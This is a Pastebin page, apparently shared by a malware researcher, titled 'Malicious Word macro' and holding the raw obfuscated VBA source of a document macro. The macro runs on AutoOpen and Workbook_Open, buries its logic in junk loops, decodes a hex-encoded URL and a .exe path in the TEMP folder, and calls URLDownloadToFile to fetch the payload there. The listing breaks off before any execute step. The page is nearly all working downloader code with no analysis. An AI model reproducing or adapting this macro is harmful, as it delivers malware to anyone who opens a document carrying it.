Need a unique gift idea?
A Pastebin account makes a great Christmas gift
SHARE
TWEET

Malicious Word macro

dynamoo Jan 12th, 2015 305 Never
Upgrade to PRO!
ENDING IN00days00hours00mins00secs
 
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
  12.     ByVal szURL As String, _
  13.     ByVal szFileName As String, _
  14.     ByVal dwReserved As Long, _
  15.     ByVal lpfnCB As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal pCaller As Long, _
  19.     ByVal szURL As String, _
  20.     ByVal szFileName As String, _
  21.     ByVal dwReserved As Long, _
  22.     ByVal lpfnCB As Long) As Long
  23. #End If
  24.  
  25. Sub GYretgfd()
  26.  
  27. Dim mmrmVQfE As Integer
  28.  
  29. Dim lZhPpZiG As Integer
  30.  
  31. Dim HXeDBhEA As Integer
  32. HXeDBhEA = 9
  33. Do While HXeDBhEA < 71
  34. DoEvents: HXeDBhEA = HXeDBhEA + 1
  35. Loop
  36.  
  37. lZhPpZiG = 5
  38. Do While lZhPpZiG < 37
  39.  
  40. Dim xfciBOqo As Integer
  41. xfciBOqo = 5
  42. Do While xfciBOqo < 44
  43. DoEvents: xfciBOqo = xfciBOqo + 1
  44. Loop
  45.  
  46. DoEvents: lZhPpZiG = lZhPpZiG + 1
  47.  
  48. Dim LIdaFdDK As Integer
  49. LIdaFdDK = 2
  50. Do While LIdaFdDK < 41
  51. DoEvents: LIdaFdDK = LIdaFdDK + 1
  52. Loop
  53.  
  54. Loop
  55.  
  56.  
  57. Dim TfaXlvag As Integer
  58. TfaXlvag = 9
  59. Do While TfaXlvag < 26
  60. DoEvents: TfaXlvag = TfaXlvag + 1
  61. Loop
  62.  
  63. mmrmVQfE = 5
  64. Do While mmrmVQfE < 35
  65.  
  66. Dim uebWoJUk As Integer
  67.  
  68. Dim DkuvrkbI As Integer
  69. DkuvrkbI = 8
  70. Do While DkuvrkbI < 13
  71. DoEvents: DkuvrkbI = DkuvrkbI + 1
  72. Loop
  73.  
  74. uebWoJUk = 2
  75. Do While uebWoJUk < 12
  76.  
  77. Dim YyPpIcRa As Integer
  78. YyPpIcRa = 7
  79. Do While YyPpIcRa < 25
  80. DoEvents: YyPpIcRa = YyPpIcRa + 1
  81. Loop
  82.  
  83. DoEvents: uebWoJUk = uebWoJUk + 1
  84.  
  85. Dim cizLTRqq As Integer
  86. cizLTRqq = 5
  87. Do While cizLTRqq < 43
  88. DoEvents: cizLTRqq = cizLTRqq + 1
  89. Loop
  90.  
  91. Loop
  92.  
  93.  
  94. Dim cemloRun As Integer
  95. cemloRun = 5
  96. Do While cemloRun < 31
  97. DoEvents: cemloRun = cemloRun + 1
  98. Loop
  99.  
  100. DoEvents: mmrmVQfE = mmrmVQfE + 1
  101.  
  102. Dim hzycmISh As Integer
  103.  
  104. Dim oKlTowyd As Integer
  105. oKlTowyd = 3
  106. Do While oKlTowyd < 72
  107. DoEvents: oKlTowyd = oKlTowyd + 1
  108. Loop
  109.  
  110. hzycmISh = 4
  111. Do While hzycmISh < 84
  112.  
  113. Dim coWxhinf As Integer
  114. coWxhinf = 8
  115. Do While coWxhinf < 15
  116. DoEvents: coWxhinf = coWxhinf + 1
  117. Loop
  118.  
  119. DoEvents: hzycmISh = hzycmISh + 1
  120.  
  121. Dim MZOhtQeC As Integer
  122. MZOhtQeC = 3
  123. Do While MZOhtQeC < 12
  124. DoEvents: MZOhtQeC = MZOhtQeC + 1
  125. Loop
  126.  
  127. Loop
  128.  
  129.  
  130. Dim OGivNKyg As Integer
  131. OGivNKyg = 7
  132. Do While OGivNKyg < 69
  133. DoEvents: OGivNKyg = OGivNKyg + 1
  134. Loop
  135.  
  136. Loop
  137.  
  138.  
  139. Dim oGOiVFJI As Integer
  140.  
  141. Dim bXVicatM As Integer
  142. bXVicatM = 6
  143. Do While bXVicatM < 41
  144. DoEvents: bXVicatM = bXVicatM + 1
  145. Loop
  146.  
  147. oGOiVFJI = 3
  148. Do While oGOiVFJI < 72
  149.  
  150. Dim DfnBEDbW As Integer
  151. DfnBEDbW = 8
  152. Do While DfnBEDbW < 74
  153. DoEvents: DfnBEDbW = DfnBEDbW + 1
  154. Loop
  155.  
  156. DoEvents: oGOiVFJI = oGOiVFJI + 1
  157.  
  158. Dim KPaVyTZJ As Integer
  159. KPaVyTZJ = 9
  160. Do While KPaVyTZJ < 41
  161. DoEvents: KPaVyTZJ = KPaVyTZJ + 1
  162. Loop
  163.  
  164. Loop
  165.  
  166.  
  167. Dim uaZGdlCK As Integer
  168. uaZGdlCK = 2
  169. Do While uaZGdlCK < 74
  170. DoEvents: uaZGdlCK = uaZGdlCK + 1
  171. Loop
  172.  
  173. wVVVfg
  174. End Sub
  175. Sub AutoOpen()
  176.  
  177. Dim xufUDIcL As Integer
  178.  
  179. Dim lPTxWEEe As Integer
  180.  
  181. Dim lEyEIaph As Integer
  182. lEyEIaph = 5
  183. Do While lEyEIaph < 37
  184. DoEvents: lEyEIaph = lEyEIaph + 1
  185. Loop
  186.  
  187. lPTxWEEe = 7
  188. Do While lPTxWEEe < 53
  189.  
  190. Dim oGESZodU As Integer
  191. oGESZodU = 3
  192. Do While oGESZodU < 19
  193. DoEvents: oGESZodU = oGESZodU + 1
  194. Loop
  195.  
  196. DoEvents: lPTxWEEe = lPTxWEEe + 1
  197.  
  198. Dim DkimjYUd As Integer
  199. DkimjYUd = 8
  200. Do While DkimjYUd < 13
  201. DoEvents: DkimjYUd = DkimjYUd + 1
  202. Loop
  203.  
  204. Loop
  205.  
  206.  
  207. Dim HBGLGbuh As Integer
  208. HBGLGbuh = 9
  209. Do While HBGLGbuh < 44
  210. DoEvents: HBGLGbuh = HBGLGbuh + 1
  211. Loop
  212.  
  213. xufUDIcL = 5
  214. Do While xufUDIcL < 71
  215.  
  216. Dim DfAFUiEL As Integer
  217.  
  218. Dim ZnLcvieJ As Integer
  219. ZnLcvieJ = 6
  220. Do While ZnLcvieJ < 28
  221. DoEvents: ZnLcvieJ = ZnLcvieJ + 1
  222. Loop
  223.  
  224. DfAFUiEL = 8
  225. Do While DfAFUiEL < 74
  226.  
  227. Dim bWuwkpVt As Integer
  228. bWuwkpVt = 6
  229. Do While bWuwkpVt < 13
  230. DoEvents: bWuwkpVt = bWuwkpVt + 1
  231. Loop
  232.  
  233. DoEvents: DfAFUiEL = DfAFUiEL + 1
  234.  
  235. Dim RlUwLeaz As Integer
  236. RlUwLeaz = 6
  237. Do While RlUwLeaz < 55
  238. DoEvents: RlUwLeaz = RlUwLeaz + 1
  239. Loop
  240.  
  241. Loop
  242.  
  243.  
  244. Dim IMPpQBDq As Integer
  245. IMPpQBDq = 9
  246. Do While IMPpQBDq < 85
  247. DoEvents: IMPpQBDq = IMPpQBDq + 1
  248. Loop
  249.  
  250. DoEvents: xufUDIcL = xufUDIcL + 1
  251.  
  252. Dim jWOiaZQk As Integer
  253.  
  254. Dim qZGFgkYK As Integer
  255. qZGFgkYK = 3
  256. Do While qZGFgkYK < 55
  257. DoEvents: qZGFgkYK = qZGFgkYK + 1
  258. Loop
  259.  
  260. jWOiaZQk = 4
  261. Do While jWOiaZQk < 68
  262.  
  263. Dim wkseSyVK As Integer
  264. wkseSyVK = 5
  265. Do While wkseSyVK < 73
  266. DoEvents: wkseSyVK = wkseSyVK + 1
  267. Loop
  268.  
  269. DoEvents: jWOiaZQk = jWOiaZQk + 1
  270.  
  271. Dim AOikUafM As Integer
  272. AOikUafM = 6
  273. Do While AOikUafM < 58
  274. DoEvents: AOikUafM = AOikUafM + 1
  275. Loop
  276.  
  277. Loop
  278.  
  279.  
  280. Dim KQCuPYsO As Integer
  281. KQCuPYsO = 9
  282. Do While KQCuPYsO < 79
  283. DoEvents: KQCuPYsO = KQCuPYsO + 1
  284. Loop
  285.  
  286. Loop
  287.  
  288.  
  289. Dim crxoomfx As Integer
  290.  
  291. Dim Gyqoqptg As Integer
  292. Gyqoqptg = 8
  293. Do While Gyqoqptg < 73
  294. DoEvents: Gyqoqptg = Gyqoqptg + 1
  295. Loop
  296.  
  297. crxoomfx = 5
  298. Do While crxoomfx < 71
  299.  
  300. Dim dhHFdPWN As Integer
  301. dhHFdPWN = 3
  302. Do While dhHFdPWN < 25
  303. DoEvents: dhHFdPWN = dhHFdPWN + 1
  304. Loop
  305.  
  306. DoEvents: crxoomfx = crxoomfx + 1
  307.  
  308. Dim lISeiTpe As Integer
  309. lISeiTpe = 7
  310. Do While lISeiTpe < 91
  311. DoEvents: lISeiTpe = lISeiTpe + 1
  312. Loop
  313.  
  314. Loop
  315.  
  316.  
  317. Dim snLvkIeg As Integer
  318. snLvkIeg = 6
  319. Do While snLvkIeg < 88
  320. DoEvents: snLvkIeg = snLvkIeg + 1
  321. Loop
  322.  
  323.     GYretgfd
  324. End Sub
  325. Sub Workbook_Open()
  326.  
  327. Dim YadQnnby As Integer
  328.  
  329. Dim xoXdhVYp As Integer
  330.  
  331. Dim AOybeftU As Integer
  332. AOybeftU = 6
  333. Do While AOybeftU < 58
  334. DoEvents: AOybeftU = AOybeftU + 1
  335. Loop
  336.  
  337. xoXdhVYp = 5
  338. Do While xoXdhVYp < 44
  339.  
  340. Dim dgMmIblr As Integer
  341. dgMmIblr = 4
  342. Do While dgMmIblr < 25
  343. DoEvents: dgMmIblr = dgMmIblr + 1
  344. Loop
  345.  
  346. DoEvents: xoXdhVYp = xoXdhVYp + 1
  347.  
  348. Dim FdAzoPAs As Integer
  349. FdAzoPAs = 8
  350. Do While FdAzoPAs < 36
  351. DoEvents: FdAzoPAs = FdAzoPAs + 1
  352. Loop
  353.  
  354. Loop
  355.  
  356.  
  357. Dim nKgCDXFI As Integer
  358. nKgCDXFI = 6
  359. Do While nKgCDXFI < 12
  360. DoEvents: nKgCDXFI = nKgCDXFI + 1
  361. Loop
  362.  
  363. YadQnnby = 7
  364. Do While YadQnnby < 52
  365.  
  366. Dim cthDLVEv As Integer
  367.  
  368. Dim htPkJzAi As Integer
  369. htPkJzAi = 6
  370. Do While htPkJzAi < 85
  371. DoEvents: htPkJzAi = htPkJzAi + 1
  372. Loop
  373.  
  374. cthDLVEv = 5
  375. Do While cthDLVEv < 43
  376.  
  377. Dim gyUZNBdj As Integer
  378. gyUZNBdj = 4
  379. Do While gyUZNBdj < 61
  380. DoEvents: gyUZNBdj = gyUZNBdj + 1
  381. Loop
  382.  
  383. DoEvents: cthDLVEv = cthDLVEv + 1
  384.  
  385. Dim XlvoOhqP As Integer
  386. XlvoOhqP = 9
  387. Do While XlvoOhqP < 85
  388. DoEvents: XlvoOhqP = XlvoOhqP + 1
  389. Loop
  390.  
  391. Loop
  392.  
  393.  
  394. Dim eAsqJiSF As Integer
  395. eAsqJiSF = 2
  396. Do While eAsqJiSF < 97
  397. DoEvents: eAsqJiSF = eAsqJiSF + 1
  398. Loop
  399.  
  400. DoEvents: YadQnnby = YadQnnby + 1
  401.  
  402. Dim guYxJtoO As Integer
  403.  
  404. Dim JCLPiMAx As Integer
  405. JCLPiMAx = 9
  406. Do While JCLPiMAx < 43
  407. DoEvents: JCLPiMAx = JCLPiMAx + 1
  408. Loop
  409.  
  410. guYxJtoO = 4
  411. Do While guYxJtoO < 85
  412.  
  413. Dim vaAeeiSK As Integer
  414. vaAeeiSK = 5
  415. Do While vaAeeiSK < 14
  416. DoEvents: vaAeeiSK = vaAeeiSK + 1
  417. Loop
  418.  
  419. DoEvents: guYxJtoO = guYxJtoO + 1
  420.  
  421. Dim ypGVuAXk As Integer
  422. ypGVuAXk = 2
  423. Do While ypGVuAXk < 14
  424. DoEvents: ypGVuAXk = ypGVuAXk + 1
  425. Loop
  426.  
  427. Loop
  428.  
  429.  
  430. Dim FfcjzFiD As Integer
  431. FfcjzFiD = 8
  432. Do While FfcjzFiD < 74
  433. DoEvents: FfcjzFiD = FfcjzFiD + 1
  434. Loop
  435.  
  436. Loop
  437.  
  438.  
  439. Dim EcofVJEP As Integer
  440.  
  441. Dim tkunGFAn As Integer
  442. tkunGFAn = 2
  443. Do While tkunGFAn < 15
  444. DoEvents: tkunGFAn = tkunGFAn + 1
  445. Loop
  446.  
  447. EcofVJEP = 9
  448. Do While EcofVJEP < 28
  449.  
  450. Dim bWeKnkAj As Integer
  451. bWeKnkAj = 6
  452. Do While bWeKnkAj < 41
  453. DoEvents: bWeKnkAj = bWeKnkAj + 1
  454. Loop
  455.  
  456. DoEvents: EcofVJEP = EcofVJEP + 1
  457.  
  458. Dim djPfoZkU As Integer
  459. djPfoZkU = 4
  460. Do While djPfoZkU < 53
  461. DoEvents: djPfoZkU = djPfoZkU + 1
  462. Loop
  463.  
  464. Loop
  465.  
  466.  
  467. Dim WmlYtHZz As Integer
  468. WmlYtHZz = 9
  469. Do While WmlYtHZz < 57
  470. DoEvents: WmlYtHZz = WmlYtHZz + 1
  471. Loop
  472.  
  473.     GYretgfd
  474. End Sub
  475. Sub wVVVfg()
  476.  
  477. Dim GBLjlLEw As Integer
  478.  
  479. Dim kGyxkaax As Integer
  480.  
  481. Dim CdeMjppS As Integer
  482. CdeMjppS = 1
  483. Do While CdeMjppS < 84
  484. DoEvents: CdeMjppS = CdeMjppS + 1
  485. Loop
  486.  
  487. kGyxkaax = 4
  488. Do While kGyxkaax < 39
  489.  
  490. Dim KQMZHpKM As Integer
  491. KQMZHpKM = 2
  492. Do While KQMZHpKM < 13
  493. DoEvents: KQMZHpKM = KQMZHpKM + 1
  494. Loop
  495.  
  496. DoEvents: kGyxkaax = kGyxkaax + 1
  497.  
  498. Dim YuABvmIp As Integer
  499. YuABvmIp = 9
  500. Do While YuABvmIp < 25
  501. DoEvents: YuABvmIp = YuABvmIp + 1
  502. Loop
  503.  
  504. Loop
  505.  
  506.  
  507. Dim HXVfWiNo As Integer
  508. HXVfWiNo = 9
  509. Do While HXVfWiNo < 29
  510. DoEvents: HXVfWiNo = HXVfWiNo + 1
  511. Loop
  512.  
  513. GBLjlLEw = 8
  514. Do While GBLjlLEw < 44
  515.  
  516. Dim LYwgIxYe As Integer
  517.  
  518. Dim HNEChDNX As Integer
  519. HNEChDNX = 9
  520. Do While HNEChDNX < 44
  521. DoEvents: HNEChDNX = HNEChDNX + 1
  522. Loop
  523.  
  524. LYwgIxYe = 9
  525. Do While LYwgIxYe < 88
  526.  
  527. Dim LUqwFYbB As Integer
  528. LUqwFYbB = 9
  529. Do While LUqwFYbB < 41
  530. DoEvents: LUqwFYbB = LUqwFYbB + 1
  531. Loop
  532.  
  533. DoEvents: LYwgIxYe = LYwgIxYe + 1
  534.  
  535. Dim FqUUwQiq As Integer
  536. FqUUwQiq = 8
  537. Do While FqUUwQiq < 74
  538. DoEvents: FqUUwQiq = FqUUwQiq + 1
  539. Loop
  540.  
  541. Loop
  542.  
  543.  
  544. Dim KKfuMTIg As Integer
  545. KKfuMTIg = 9
  546. Do While KKfuMTIg < 71
  547. DoEvents: KKfuMTIg = KKfuMTIg + 1
  548. Loop
  549.  
  550. DoEvents: GBLjlLEw = GBLjlLEw + 1
  551.  
  552. Dim PEofNTcl As Integer
  553.  
  554. Dim jChNsESr As Integer
  555. jChNsESr = 7
  556. Do While jChNsESr < 93
  557. DoEvents: jChNsESr = jChNsESr + 1
  558. Loop
  559.  
  560. PEofNTcl = 8
  561. Do While PEofNTcl < 39
  562.  
  563. Dim IByGfoPL As Integer
  564. IByGfoPL = 9
  565. Do While IByGfoPL < 24
  566. DoEvents: IByGfoPL = IByGfoPL + 1
  567. Loop
  568.  
  569. DoEvents: PEofNTcl = PEofNTcl + 1
  570.  
  571. Dim qYfoIELk As Integer
  572. qYfoIELk = 3
  573. Do While qYfoIELk < 28
  574. DoEvents: qYfoIELk = qYfoIELk + 1
  575. Loop
  576.  
  577. Loop
  578.  
  579.  
  580. Dim ZIrVPoHu As Integer
  581. ZIrVPoHu = 6
  582. Do While ZIrVPoHu < 58
  583. DoEvents: ZIrVPoHu = ZIrVPoHu + 1
  584. Loop
  585.  
  586. Loop
  587.  
  588.  
  589. Dim smcyjaeB As Integer
  590.  
  591. Dim cpGaMZWd As Integer
  592. cpGaMZWd = 5
  593. Do While cpGaMZWd < 44
  594. DoEvents: cpGaMZWd = cpGaMZWd + 1
  595. Loop
  596.  
  597. smcyjaeB = 3
  598. Do While smcyjaeB < 87
  599.  
  600. Dim zUDynMjD As Integer
  601. zUDynMjD = 2
  602. Do While zUDynMjD < 98
  603. DoEvents: zUDynMjD = zUDynMjD + 1
  604. Loop
  605.  
  606. DoEvents: smcyjaeB = smcyjaeB + 1
  607.  
  608. Dim TfXbMgvs As Integer
  609. TfXbMgvs = 7
  610. Do While TfXbMgvs < 26
  611. DoEvents: TfXbMgvs = TfXbMgvs + 1
  612. Loop
  613.  
  614. Loop
  615.  
  616.  
  617. Dim pQMRnYMD As Integer
  618. pQMRnYMD = 3
  619. Do While pQMRnYMD < 71
  620. DoEvents: pQMRnYMD = pQMRnYMD + 1
  621. Loop
  622.  
  623.     eFdsgfsdg = HexToString(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(56) & Chr$(54) & Chr$(49) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(50) & Chr$(69) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(49) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(49) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(49) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(57) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(51) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(69) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))
  624.  
  625. Dim slUooxyt As Integer
  626.  
  627. Dim LEIdElVI As Integer
  628.  
  629. Dim YqpxSYMH As Integer
  630. YqpxSYMH = 7
  631. Do While YqpxSYMH < 54
  632. DoEvents: YqpxSYMH = YqpxSYMH + 1
  633. Loop
  634.  
  635. LEIdElVI = 9
  636. Do While LEIdElVI < 87
  637.  
  638. Dim SvnonwpF As Integer
  639. SvnonwpF = 8
  640. Do While SvnonwpF < 76
  641. DoEvents: SvnonwpF = SvnonwpF + 1
  642. Loop
  643.  
  644. DoEvents: LEIdElVI = LEIdElVI + 1
  645.  
  646. Dim htIZMHld As Integer
  647. htIZMHld = 4
  648. Do While htIZMHld < 61
  649. DoEvents: htIZMHld = htIZMHld + 1
  650. Loop
  651.  
  652. Loop
  653.  
  654.  
  655. Dim EEnhOorE As Integer
  656. EEnhOorE = 6
  657. Do While EEnhOorE < 29
  658. DoEvents: EEnhOorE = EEnhOorE + 1
  659. Loop
  660.  
  661. slUooxyt = 3
  662. Do While slUooxyt < 25
  663.  
  664. Dim whlmfJHm As Integer
  665.  
  666. Dim OJDfYXtP As Integer
  667. OJDfYXtP = 7
  668. Do While OJDfYXtP < 32
  669. DoEvents: OJDfYXtP = OJDfYXtP + 1
  670. Loop
  671.  
  672. whlmfJHm = 5
  673. Do While whlmfJHm < 45
  674.  
  675. Dim qSOIaLSl As Integer
  676. qSOIaLSl = 3
  677. Do While qSOIaLSl < 71
  678. DoEvents: qSOIaLSl = qSOIaLSl + 1
  679. Loop
  680.  
  681. DoEvents: whlmfJHm = whlmfJHm + 1
  682.  
  683. Dim DlJzwfWK As Integer
  684. DlJzwfWK = 8
  685. Do While DlJzwfWK < 75
  686. DoEvents: DlJzwfWK = DlJzwfWK + 1
  687. Loop
  688.  
  689. Loop
  690.  
  691.  
  692. Dim aGCEiVeS As Integer
  693. aGCEiVeS = 4
  694. Do While aGCEiVeS < 24
  695. DoEvents: aGCEiVeS = aGCEiVeS + 1
  696. Loop
  697.  
  698. DoEvents: slUooxyt = slUooxyt + 1
  699.  
  700. Dim nSMmHOLj As Integer
  701.  
  702. Dim YihyYovi As Integer
  703. YihyYovi = 7
  704. Do While YihyYovi < 92
  705. DoEvents: YihyYovi = YihyYovi + 1
  706. Loop
  707.  
  708. nSMmHOLj = 8
  709. Do While nSMmHOLj < 12
  710.  
  711. Dim iNAuvaHE As Integer
  712. iNAuvaHE = 3
  713. Do While iNAuvaHE < 59
  714. DoEvents: iNAuvaHE = iNAuvaHE + 1
  715. Loop
  716.  
  717. DoEvents: nSMmHOLj = nSMmHOLj + 1
  718.  
  719. Dim BzLHxiwF As Integer
  720. BzLHxiwF = 1
  721. Do While BzLHxiwF < 92
  722. DoEvents: BzLHxiwF = BzLHxiwF + 1
  723. Loop
  724.  
  725. Loop
  726.  
  727.  
  728. Dim DlMOCddN As Integer
  729. DlMOCddN = 8
  730. Do While DlMOCddN < 75
  731. DoEvents: DlMOCddN = DlMOCddN + 1
  732. Loop
  733.  
  734. Loop
  735.  
  736.  
  737. Dim evTAniPe As Integer
  738.  
  739. Dim rnfddjCN As Integer
  740. rnfddjCN = 2
  741. Do While rnfddjCN < 17
  742. DoEvents: rnfddjCN = rnfddjCN + 1
  743. Loop
  744.  
  745. evTAniPe = 4
  746. Do While evTAniPe < 68
  747.  
  748. Dim BBtWSjTu As Integer
  749. BBtWSjTu = 1
  750. Do While BBtWSjTu < 92
  751. DoEvents: BBtWSjTu = BBtWSjTu + 1
  752. Loop
  753.  
  754. DoEvents: evTAniPe = evTAniPe + 1
  755.  
  756. Dim HawRPcqk As Integer
  757. HawRPcqk = 2
  758. Do While HawRPcqk < 44
  759. DoEvents: HawRPcqk = HawRPcqk + 1
  760. Loop
  761.  
  762. Loop
  763.  
  764.  
  765. Dim JxMoNccJ As Integer
  766. JxMoNccJ = 2
  767. Do While JxMoNccJ < 48
  768. DoEvents: JxMoNccJ = JxMoNccJ + 1
  769. Loop
  770.  
  771.     xTysdfsdf = Environ(HexToString("54454D50")) & HexToString("5C545955686664745555556473662E657865")
  772.  
  773. Dim IDxzVBIF As Integer
  774.  
  775. Dim scihMCno As Integer
  776.  
  777. Dim WNKjboOV As Integer
  778. WNKjboOV = 9
  779. Do While WNKjboOV < 82
  780. DoEvents: WNKjboOV = WNKjboOV + 1
  781. Loop
  782.  
  783. scihMCno = 3
  784. Do While scihMCno < 26
  785.  
  786. Dim sygIYhOG As Integer
  787. sygIYhOG = 3
  788. Do While sygIYhOG < 23
  789. DoEvents: sygIYhOG = sygIYhOG + 1
  790. Loop
  791.  
  792. DoEvents: scihMCno = scihMCno + 1
  793.  
  794. Dim phmuEjuX As Integer
  795. phmuEjuX = 3
  796. Do While phmuEjuX < 77
  797. DoEvents: phmuEjuX = phmuEjuX + 1
  798. Loop
  799.  
  800. Loop
  801.  
  802.  
  803. Dim lqwuUzdG As Integer
  804. lqwuUzdG = 5
  805. Do While lqwuUzdG < 96
  806. DoEvents: lqwuUzdG = lqwuUzdG + 1
  807. Loop
  808.  
  809. IDxzVBIF = 7
  810. Do While IDxzVBIF < 32
  811.  
  812. Dim iLlxhmud As Integer
  813.  
  814. Dim mermzpQR As Integer
  815. mermzpQR = 7
  816. Do While mermzpQR < 94
  817. DoEvents: mermzpQR = mermzpQR + 1
  818. Loop
  819.  
  820. iLlxhmud = 3
  821. Do While iLlxhmud < 11
  822.  
  823. Dim ECrmtWJc As Integer
  824. ECrmtWJc = 9
  825. Do While ECrmtWJc < 23
  826. DoEvents: ECrmtWJc = ECrmtWJc + 1
  827. Loop
  828.  
  829. DoEvents: iLlxhmud = iLlxhmud + 1
  830.  
  831. Dim rCTkIVcq As Integer
  832. rCTkIVcq = 2
  833. Do While rCTkIVcq < 11
  834. DoEvents: rCTkIVcq = rCTkIVcq + 1
  835. Loop
  836.  
  837. Loop
  838.  
  839.  
  840. Dim IbuiMdYT As Integer
  841. IbuiMdYT = 7
  842. Do While IbuiMdYT < 66
  843. DoEvents: IbuiMdYT = IbuiMdYT + 1
  844. Loop
  845.  
  846. DoEvents: IDxzVBIF = IDxzVBIF + 1
  847.  
  848. Dim nQzSmBUW As Integer
  849.  
  850. Dim TGFEYoZF As Integer
  851. TGFEYoZF = 7
  852. Do While TGFEYoZF < 22
  853. DoEvents: TGFEYoZF = TGFEYoZF + 1
  854. Loop
  855.  
  856. nQzSmBUW = 6
  857. Do While nQzSmBUW < 11
  858.  
  859. Dim kxgPfrlU As Integer
  860. kxgPfrlU = 4
  861. Do While kxgPfrlU < 98
  862. DoEvents: kxgPfrlU = kxgPfrlU + 1
  863. Loop
  864.  
  865. DoEvents: nQzSmBUW = nQzSmBUW + 1
  866.  
  867. Dim VPujCmka As Integer
  868. VPujCmka = 1
  869. Do While VPujCmka < 88
  870. DoEvents: VPujCmka = VPujCmka + 1
  871. Loop
  872.  
  873. Loop
  874.  
  875.  
  876. Dim Ivtbdtmm As Integer
  877. Ivtbdtmm = 7
  878. Do While Ivtbdtmm < 66
  879. DoEvents: Ivtbdtmm = Ivtbdtmm + 1
  880. Loop
  881.  
  882. Loop
  883.  
  884.  
  885. Dim jKWpOpXl As Integer
  886.  
  887. Dim szRAIkgC As Integer
  888. szRAIkgC = 6
  889. Do While szRAIkgC < 46
  890. DoEvents: szRAIkgC = szRAIkgC + 1
  891. Loop
  892.  
  893. jKWpOpXl = 4
  894. Do While jKWpOpXl < 83
  895.  
  896. Dim SBmdyuld As Integer
  897. SBmdyuld = 8
  898. Do While SBmdyuld < 72
  899. DoEvents: SBmdyuld = SBmdyuld + 1
  900. Loop
  901.  
  902. DoEvents: jKWpOpXl = jKWpOpXl + 1
  903.  
  904. Dim srxeHZbP As Integer
  905. srxeHZbP = 3
  906. Do While srxeHZbP < 51
  907. DoEvents: srxeHZbP = srxeHZbP + 1
  908. Loop
  909.  
  910. Loop
  911.  
  912.  
  913. Dim qpCBTcVS As Integer
  914. qpCBTcVS = 3
  915. Do While qpCBTcVS < 52
  916. DoEvents: qpCBTcVS = qpCBTcVS + 1
  917. Loop
  918.  
  919.     pYTgyhf = URLDownloadToFile(0&, eFdsgfsdg, xTysdfsdf, 0&, 0&)
  920.    Dim gffUYUdfg
  921.  
  922. Dim OIHZnNTe As Integer
  923.  
  924. Dim QxFDRQUj As Integer
  925.  
  926. Dim srmmomfb As Integer
  927. srmmomfb = 3
  928. Do While srmmomfb < 84
  929. DoEvents: srmmomfb = srmmomfb + 1
  930. Loop
  931.  
  932. QxFDRQUj = 8
  933. Do While QxFDRQUj < 38
  934.  
  935. Dim lkPuCpEc As Integer
  936. lkPuCpEc = 4
  937. Do While lkPuCpEc < 97
  938. DoEvents: lkPuCpEc = lkPuCpEc + 1
  939. Loop
  940.  
  941. DoEvents: QxFDRQUj = QxFDRQUj + 1
  942.  
  943. Dim yKXfqluY As Integer
  944. yKXfqluY = 2
  945. Do While yKXfqluY < 11
  946. DoEvents: yKXfqluY = yKXfqluY + 1
  947. Loop
  948.  
  949. Loop
  950.  
  951.  
  952. Dim bbcizcon As Integer
  953. bbcizcon = 8
  954. Do While bbcizcon < 71
  955. DoEvents: bbcizcon = bbcizcon + 1
  956. Loop
  957.  
  958. OIHZnNTe = 1
  959. Do While OIHZnNTe < 31
  960.  
  961. Dim pUllTsxz As Integer
  962.  
  963. Dim pmMmUbwS As Integer
  964. pmMmUbwS = 3
  965. Do While pmMmUbwS < 16
  966. DoEvents: pmMmUbwS = pmMmUbwS + 1
  967. Loop
  968.  
  969. pUllTsxz = 5
  970. Do While pUllTsxz < 71
  971.  
  972. Dim JbbXtolV As Integer
  973. JbbXtolV = 9
  974. Do While JbbXtolV < 76
  975. DoEvents: JbbXtolV = JbbXtolV + 1
  976. Loop
  977.  
  978. DoEvents: pUllTsxz = pUllTsxz + 1
  979.  
  980. Dim cDkZFbjk As Integer
  981. cDkZFbjk = 5
  982. Do While cDkZFbjk < 12
  983. DoEvents: cDkZFbjk = cDkZFbjk + 1
  984. Loop
  985.  
  986. Loop
  987.  
  988.  
  989. Dim YQVrXQvf As Integer
  990. YQVrXQvf = 7
  991. Do While YQVrXQvf < 21
  992. DoEvents: YQVrXQvf = YQVrXQvf + 1
  993. Loop
  994.  
  995. DoEvents: OIHZnNTe = OIHZnNTe + 1
  996.  
  997. Dim gtLkurbV As Integer
  998.  
  999. Dim xLHOODZn As Integer
  1000. xLHOODZn = 5
  1001. Do While xLHOODZn < 41
  1002. DoEvents: xLHOODZn = xLHOODZn + 1
  1003. Loop
  1004.  
  1005. gtLkurbV = 6
  1006. Do While gtLkurbV < 56
  1007.  
  1008. Dim YHZWFidG As Integer
  1009. YHZWFidG = 7
  1010. Do While YHZWFidG < 59
  1011. DoEvents: YHZWFidG = YHZWFidG + 1
  1012. Loop
  1013.  
  1014. DoEvents: gtLkurbV = gtLkurbV + 1
  1015.  
  1016. Dim FLQiTXyY As Integer
  1017. FLQiTXyY = 2
  1018. Do While FLQiTXyY < 43
  1019. DoEvents: FLQiTXyY = FLQiTXyY + 1
  1020. Loop
  1021.  
